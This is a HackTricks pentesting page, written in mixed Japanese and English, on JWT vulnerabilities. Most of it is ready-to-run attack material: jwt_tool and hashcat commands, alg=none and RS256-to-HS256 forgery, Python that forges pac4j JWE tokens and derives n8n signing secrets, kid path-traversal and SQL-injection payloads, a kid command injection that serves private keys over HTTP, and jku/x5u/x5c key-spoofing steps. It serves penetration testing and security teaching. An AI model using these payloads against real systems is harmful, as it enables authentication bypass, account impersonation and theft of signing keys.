JWT Vulnerabilities (Json Web Tokens)
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
この投稿の一部は、素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs を pentest するための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool
Quick Wins
jwt_tool を mode All Tests! で実行し、緑の行が出るまで待つ
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
もし運がよければ、そのツールが web application が JWT を誤ってチェックしているケースを見つけます:
.png)
その後、proxy でその request を検索するか、jwt_ tool を使ってその request に使用された JWT を dump できます:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Burp Extension SignSaboteur も使って Burp から JWT attacks を実行できます。
Practical JWT assessment workflow
- セッション制御のスコープを絞る: ユーザー固有のリクエスト(例: profile, billing)を選ぶ。認可を実際に制御している token(s) を特定するため、リクエストが拒否されるまで cookies/headers を1つずつ削除する。
- トラフィック内の JWT を見つける: これらはよく
Authorization: Bearer <JWT>にありますが、カスタムヘッダーや cookies にも現れます。Burp がハイライトしない場合は、Target → Site map → Engagement tools → Search で、次のような regex パターンを使います: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- デコードして列挙する: Burp JWT Editor または
python3 jwt_tool.py <JWT>を使って header/payload を読み取る。alg、exp/token lifetime、そして authn/authz を左右する claims(role,id,username,emailなど)に注目する。 - 署名検証の sanity check: signature 部分の数バイトを反転または削除して再送する。受理されるなら signature validation が欠けており、payload claims を直接改ざんできる。
- Goal: payload claims を変更して権限を昇格する。以下の攻撃はすべて、弱い検証、弱い secret、または unsafe key selection を悪用して、改ざんされた payload を server に受け入れさせることを目的とする。
データを何も変更せずに改ざんする
signature はそのままで data だけを改ざんし、server が signature をチェックしているか確認できます。例えば username を “admin” に変えてみます。
token がチェックされているか?
JWT の signature が検証されているか確認するには:
- エラーメッセージがある場合、検証が実行中であることを示します。verbose errors に含まれる機密情報は確認すべきです。
- 返ってくる page の変化も検証が行われていることを示します。
- 変化がない場合は検証されていない可能性が高く、payload claims の改ざんを試すべきです。
Origin
proxy の request history を調べて、その token が server-side 生成か client-side 生成かを見極めることが重要です。
- client side から最初に見つかった token は、key が client-side code に露出している可能性を示し、さらなる調査が必要です。
- server-side で生成された token は、secure な process を示します。
Duration
token が 24h を超えて有効か確認します… もしかすると有効期限がないかもしれません。exp filed がある場合は、server がそれを正しく扱っているか確認してください。
Brute-force HMAC secret
header が HS256 を使っている場合は、token を file にダンプして offline cracking を試します:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
秘密を回復したら、それを Burp JWT Editor で symmetric key として読み込み、変更した claims に再署名します。
漏えいした config + DB データから JWT secrets を導出する
任意の file read(または backup leak)で アプリケーションの encryption material と user records の両方が露出すると、平文の password を知らなくても、JWT の signing secret を再作成して session cookies を偽造できる場合があります。workflow automation stacks で観測される典型的なパターンは次のとおりです。
- config file から app key(例:
encryptionKey)を leak する。 - user table を leak して
email、password_hash、user_idを取得する。 - key から signing secret を導出し、次に JWT payload で期待される per-user hash を導出する:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- 署名済みトークンを session cookie(例:
n8n-auth)に入れて、password hash が salted でも user/admin account を impersonate する。
Modify the algorithm to None
使用する algorithm を “None” に設定し、signature 部分を削除する。
Burp extension の call “JSON Web Token” を使ってこの脆弱性を試し、JWT 内の異なる値を変更する(request を Repeater に送って “JSON Web Token” tab で token の値を変更できる。 “Alg” フィールドの値を “None” にすることも選べる)。
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
一部の stack は、encrypted JWE でラップされた signed inner JWT を期待する。脆弱な pac4j-jwt の version(4.5.9、5.7.9、6.3.3 より前)では、authenticator が JWE を decrypt し、payload を signed JWT として parse しようとし、その変換が成功した場合にのみ signature を verify する。decrypted payload が PlainJWT (alg=none) だと、toSignedJWT() は null を返し、signature verification path はスキップされる。
- Pre-reqs:
- application が JWE bearer tokens を受け入れる
- server public key が exposed されている(通常は
/.well-known/jwks.jsonや/api/auth/jwksのような JWKS 経由) - Authorization が
sub、role、groups、scopeなどの attacker-controlled claims に依存している - Impact: public key だけを使って任意の user/role 用の encrypted token を forge できる
Practical checks:
- frontend / API docs を列挙して、
RSA-OAEP-256、A128GCM/A256GCM、jwks、または “inner JWT is signed” というコメントなどの手がかりを探す。 - JWKS を取得し、
n/eから RSA key を import する。 - inner token を手動で
base64url(header) + "." + base64url(payload) + "."として構築し、signature を空にする。 - その plaintext JWT を exposed public key を使って JWE として encrypt し、bearer token として replay する。
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
JWKS の RSA public key を使って、compact JWE に encrypt します:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notes:
- If your JWT library refuses to emit
alg=none, generate the compact token manually as shown above. - The
encvalue must match one accepted by the target; frontend comments and legitimate tokens often disclose this. - In SPAs, check whether the bearer token is stored in
sessionStorage,localStorage, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, /.well-known/jwks.json か PEM から RSA public key を import し、Attack → HMAC Key Confusion Attack を実行して HS256 の再署名試行を自動化します。
ヘッダー内の新しい public key
attacker は token の header に新しい key を埋め込み、server はこの新しい key を使って signature を verify します (CVE-2018-0114)。
これは “JSON Web Tokens” Burp extension で実行できます。
(request を Repeater に送り、JSON Web Token タブ内で “CVE-2018-0114” を選択して request を送信します)。
JWKS Spoofing
この手順は JWT token、特に “jku” header claim を使うものの security を評価する方法を示しています。この claim は JWKS (JSON Web Key Set) file を指すべきで、token の verification に必要な public key を含みます。
-
“jku” Header を持つ Token の評価:
-
“jku” claim の URL を確認し、適切な JWKS file に到達することを確認します。
-
token の “jku” 値を変更して制御下の web service を指すようにし、traffic を観察できるようにします。
-
HTTP Interaction の監視:
-
指定した URL への HTTP request を観察できれば、server が提供した link から key を取得しようとしていることを示します。
-
この process で
jwt_toolを使う場合、テストを容易にするためにjwtconf.inifile を自分の JWKS location で更新することが重要です。 -
jwt_toolの command: -
jwt_toolを使って以下の command を実行し、scenario をシミュレートします:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues 概要
kid と呼ばれる任意の header claim は、特定の key を識別するために使われ、token signature verification のための複数の key が存在する環境では特に重要になります。この claim は、token の signature を verify する際に適切な key を選択するのに役立ちます。
“kid” による key の露出
header に kid claim がある場合、対応する file またはその variations を web directory で探すことが推奨されます。たとえば "kid":"key/12345" が指定されている場合、files /key/12345 と /key/12345.pem を web root で探すべきです。
“kid” による Path Traversal
kid claim は file system を移動するためにも悪用され、任意の file を選択できる可能性があります。kid 値を変更して特定の file や service を狙うことで、connectivity のテストや Server-Side Request Forgery (SSRF) attack の実行が可能です。jwt_tool で -T flag を使うと、元の signature を保持したまま JWT を改ざんして kid 値を変更できます。以下に示します:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
予測可能な内容を持つファイルを狙うことで、有効なJWTを偽造できます。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space ファイルは値 2 を含むことで知られており、JWT生成のための対称パスワードとして 2 を使って kid パラメータに利用できます。
壊れやすいファイルシステムのキー読み込みに対する実用的なパターンとしては、JWK k を AA== に設定したHS256キーを生成し、kid を ../../../../../../../dev/null のような traversal に設定して再署名します。一部の実装では空のファイルを有効なHMAC secretとして扱い、偽造されたトークンを受け入れます。
SQL Injection via “kid”
kid クレームの内容がデータベースからパスワードを取得するために使われる場合、kid ペイロードを改変することで SQL Injection を成立させられる可能性があります。JWTの署名処理を変更するためにSQL Injectionを使うペイロードの例は次のとおりです:
non-existent-index' UNION SELECT 'ATTACKER';-- -
この改変により、JWTの署名に既知の secret key ATTACKER を使わせることができます。
OS Injection through “kid”
kid パラメータがコマンド実行コンテキスト内で使われるファイルパスを指定するシナリオでは、Remote Code Execution (RCE) 脆弱性につながる可能性があります。kid パラメータにコマンドを注入することで、private keys を漏えいさせることができます。RCE と key の漏えいを達成するためのペイロード例は次のとおりです:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku は JWK Set URL の略です。
トークンが “jku” Header クレームを使っている場合は、指定されたURLを確認してください。これは、トークンを検証するための Public Key を保持する JWKS ファイルを含むURLを指しているはずです。トークンを改変して、jku の値をトラフィックを監視できる Web サービスに向けます。
まず、新しい private & public keys を使って新しい certificate を作成する必要があります
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the 作成した public key と private key を使い、parameter jku を作成した certificate に向ける。 In order to create a valid jku certificate you can download the original one そして必要な parameters を変更します。
You can obtain the parametes “e” and “n” from a public certificate using:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
検証側が鍵素材をリモート取得する場合、jku/x5u に Burp Collaborator の URL を JWT Editor → Attack → Embed Collaborator payload で埋め込みます。コールバックがあれば SSRF 風の key retrieval が確認できます。その後、その URL に自分の JWKS/PEM をホストし、自分の private key で再署名すれば、サービスは attacker が生成した token を検証してしまいます。
x5u
X.509 URL。PEM 形式でエンコードされた X.509(certificate format standard)の public certificates のセットを指す URI。セット内の最初の certificate は、この JWT の署名に使われたものです。続く各 certificate は直前のものに署名し、certificate chain を完成させます。X.509 は RFC 52807 で定義されています。certificate の転送には transport security が必要です。
この header を 自分で制御できる URL に変更して、request が受信されるか確認してください。その場合、JWT を改ざんできる可能性があります。
自分で制御する certificate を使って新しい token を forge するには、certificate を作成して public key と private key を抽出する必要があります:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
このパラメータにはcertificate を base64 で含めることができます:
.png)
攻撃者がself-signed certificate を生成し、対応する private key を使って forged token を作成し、「x5c」パラメータの値を新しく生成したcertificateに置き換え、さらに n, e, x5t などの他のパラメータを変更すると、要するにその forgedtoken は server に受け入れられます。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
埋め込み Public Key (CVE-2018-0114)
JWT に次のような形で public key が埋め込まれている場合:
.png)
次の nodejs script を使うと、その data から public key を生成できます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
新しい private/public key を生成し、新しい public key を token 内に埋め込み、それを使って新しい signature を生成することが可能です:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
この nodejs script を使って “n” と “e” を取得できます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, public と private key および新しい “n” と “e” の値を使って、jwt.io で任意の情報を含む新しい有効な JWT を偽造できます。
ES256: 同じ nonce で private key を露出させる
もし一部のアプリケーションが ES256 を使用していて、2つの jwts を生成する際に同じ nonce を使っている場合、private key を復元できます。
例はこちら: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
JTI (JWT ID) claim は、JWT Token に一意の識別子を提供します。これは token の replay を防ぐために使えます。
ただし、ID の最大長が 4 (0001-9999) だと仮定してみてください。request 0001 と 10001 は同じ ID を使うことになります。つまり、backend が各 request ごとに ID をインクリメントしているなら、これを悪用して request を replay する ことができます(各成功した replay の間に 10000 request を送る必要があります)。
JWT Registered claims
Other attacks
Cross-service Relay Attacks
一部の web applications が、token の生成と管理のために信頼された JWT service に依存していることが確認されています。JWT service によって 1つの client 向けに生成された token が、同じ JWT service の別の client に受け入れられた事例があります。third-party service 経由で JWT の発行または更新が観測された場合、同じ username/email を使ってその service の別の client で account を作成できる可能性を調査すべきです。その後、取得した token を target への request に replay し、受け入れられるか確認します。
- あなたの token が受け入れられれば、重大な問題を示している可能性があり、任意の user の account を spoof できるかもしれません。ただし、third-party application で signup する場合は、より広範な testing の許可が必要になることに注意してください。これは法的にグレーな領域に入る可能性があるためです。
Expiry Check of Tokens
token の expiry は “exp” Payload claim を使って確認されます。JWT は session information なしで使われることが多いため、慎重な扱いが必要です。多くの場合、他の user の JWT を capture して replay すると、その user になりすませる可能性があります。JWT RFC は、“exp” claim を利用して token の expiry time を設定することで JWT replay attacks を軽減することを推奨しています。さらに、application がこの値を処理し、期限切れ token を拒否するための適切な checks を実装することが重要です。token に “exp” claim が含まれており、testing time limits が許すなら、token を保存し、expiry time 経過後に replay することが推奨されます。timestamp parsing と expiry checking (UTC の timestamp) を含む token の内容は、jwt_tool の -R flag で読むことができます。
- application がそれでも token を validate している場合、token が決して expire しないことを意味する可能性があり、security risk が存在するかもしれません。
Tools
- jwt_tool – decoding、claim/header tampering、offline secret cracking (
-C) および semi-automated attack modes (-M at)。 - Burp JWT Editor – Repeater で decode/re-sign、custom keys の生成、built-in attacks (none、HMAC key confusion、embedded JWK、jku/x5u collaborator payloads) の実行。
- hashcat
-m 16500– JWTs を wordlist に export した後の GPU-accelerated HS256 secret cracking。
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


